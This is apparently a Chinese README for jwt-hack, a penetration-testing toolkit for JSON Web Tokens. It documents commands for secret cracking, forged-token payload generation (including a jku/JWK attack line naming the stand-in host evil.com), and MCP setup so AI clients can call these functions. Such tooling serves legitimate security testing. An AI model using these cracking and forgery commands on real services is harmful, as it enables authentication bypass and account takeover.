JSON Web Token 黑客工具包
一个用于测试、分析和攻击 JSON Web Token 的高性能工具包。
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
您可以解码常规 JWT 和 DEFLATE 压缩的 JWT。该工具会自动检测并解压压缩的令牌。
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
解码 JWE(JSON Web Encryption)令牌以分析其结构。该工具会自动检测 JWE 格式(5 部分)并显示加密详情。
# 解码 JWE 令牌结构
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# 显示 JWE header、加密密钥、IV、密文和认证标签
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
您可以使用 --compress 选项对 JWT 载荷应用 DEFLATE 压缩。
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# 使用私钥
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
创建 JWE(JSON Web Encryption)令牌以测试加密的 JWT 场景。
# 基本 JWE 编码
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# JWE 令牌已加密,只能使用正确的密钥解密
jwt-hack encode '{"sensitive":"data"}' --jwe
使用提供的密钥或证书检查 JWT 的签名是否有效。
# 使用密钥(HMAC 算法,如 HS256、HS384、HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# 使用私钥(用于非对称算法,如 RS256、ES256、EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
字典攻击和暴力破解也支持使用 DEFLATE 压缩的 JWT。
# 字典攻击
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# 暴力破解攻击
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
自动扫描 JWT 令牌以发现常见的安全问题和漏洞。
# 完整扫描,包括弱密钥检测和载荷生成
jwt-hack scan JWT_TOKEN
# 跳过密钥破解以加快结果
jwt-hack scan JWT_TOKEN --skip-crack
# 跳过载荷生成
jwt-hack scan JWT_TOKEN --skip-payloads
# 使用自定义字典进行弱密钥检测
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# 限制密钥测试次数
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
扫描命令检查以下内容:
启动本地 REST API 以实现自动化和集成。如需身份验证,请使用 --api-key 并在请求中包含 X-API-KEY。
# 在 localhost:3000 启动并使用 API 密钥保护
jwt-hack server --api-key your-api-key
# 示例请求(设置 --api-key 时必须包含 X-API-KEY)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
jwt-hack 可以作为 MCP 服务器运行,允许 AI 模型通过标准化协议与 JWT 功能交互。
# 启动 MCP 服务器(通过 stdio 通信)
jwt-hack mcp
MCP 服务器提供以下工具:
MCP 服务器设计用于 AI 模型和 MCP 客户端。每个工具接受 JSON 参数并返回结构化响应。
解码工具:
{
"name": "decode",
"arguments": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
}
编码工具:
{
"name": "encode",
"arguments": {
"json": "{\"sub\":\"1234\",\"name\":\"test\"}",
"secret": "mysecret",
"algorithm": "HS256"
}
}
您可以将 jwt-hack 的 MCP 服务器连接到流行的支持 MCP 的客户端。请确保 jwt-hack 二进制文件在您的系统上且客户端可以访问。
VSCode
{
"servers": {
"jwt-hack": {
"type": "stdio",
"command": "jwt-hack",
"args": [
"mcp"
]
}
},
"inputs": []
}
Claude Desktop
{
"mcpServers": {
"jwt-hack": {
"command": "jwt-hack",
"args": ["mcp"],
"env": {}
}
}
}
| 算法 | 描述 |
|---|---|
| A128GCM | 使用 128 位密钥的 AES-GCM |
| A256GCM | 使用 256 位密钥的 AES-GCM |
| 算法 | 描述 |
|---|---|
| dir | 直接使用共享对称密钥 |
DEFLATE 压缩支持
jwt-hack工具包支持 JWT 的 DEFLATE 压缩。
- 使用
encode的--compress选项生成压缩的 JWT。decode和crack模式会自动检测并处理压缩的 JWT。
Urx 是一个开源项目,用 ❤️ 制作 如果您想为这个项目做贡献,请查看 CONTRIBUTING.md 并通过 Pull-Request 提交您精彩的内容。
| 模式 | 描述 | 支持 |
|---|
| Encode | JWT/JWE 编码器 | 基于密钥 / 基于证书 / 算法 / 自定义 Header / DEFLATE 压缩 / JWE |
| Decode | JWT/JWE 解码器 | 算法、签发时间检查、DEFLATE 压缩、JWE 结构 |
| Verify | JWT 验证器 | 基于密钥 / 基于证书(用于非对称算法) |
| Crack | 密钥破解器 | 字典攻击 / 暴力破解 / DEFLATE 压缩 |
| Payload | JWT 攻击载荷生成器 | none / jku&x5u / alg_confusion(通过 --public-key 签名)/ kid & claim 注入 / claims 篡改 / 签名可变性 / JWE 探测 / x5c / cty |
| Scan | 漏洞扫描器 | 针对常见 JWT 漏洞的自动化安全检查 |
| Server | API 服务器 | 运行 API 服务器模式(http://localhost:3000) |
| MCP | 模型上下文协议服务器 | 通过标准化协议实现 AI 模型集成 |
| 工具 | 描述 | 参数 |
|---|
decode | 解码 JWT 令牌 | token(字符串) |
encode | 将 JSON 编码为 JWT | json(字符串)、secret(可选)、algorithm(默认:HS256)、no_signature(布尔值) |
verify | 验证 JWT 签名 | token(字符串)、secret(可选)、validate_exp(布尔值) |
crack | 破解 JWT 令牌 | token(字符串)、mode(dict/brute)、chars(字符串)、max(数字) |
payload | 生成攻击载荷 | token(字符串)、target(字符串)、jwk_attack(可选)、jwk_protocol(默认:https)、public_key(可选 PEM/路径,用于签名算法混淆) |
| 算法 | 描述 | 类型 |
|---|
| HS256 | 使用 SHA-256 的 HMAC | 对称 |
| HS384 | 使用 SHA-384 的 HMAC | 对称 |
| HS512 | 使用 SHA-512 的 HMAC | 对称 |
| RS256 | 使用 SHA-256 的 RSASSA-PKCS1-v1_5 | 非对称 |
| RS384 | 使用 SHA-384 的 RSASSA-PKCS1-v1_5 | 非对称 |
| RS512 | 使用 SHA-512 的 RSASSA-PKCS1-v1_5 | 非对称 |
| ES256 | 使用 P-256 和 SHA-256 的 ECDSA | 非对称 |
| ES384 | 使用 P-384 和 SHA-384 的 ECDSA | 非对称 |
| PS256 | 使用 SHA-256 的 RSASSA-PSS | 非对称 |
| PS384 | 使用 SHA-384 的 RSASSA-PSS | 非对称 |
| PS512 | 使用 SHA-512 的 RSASSA-PSS | 非对称 |
| EdDSA | Edwards 曲线数字签名算法 | 非对称 |
| none | 无数字签名 | - |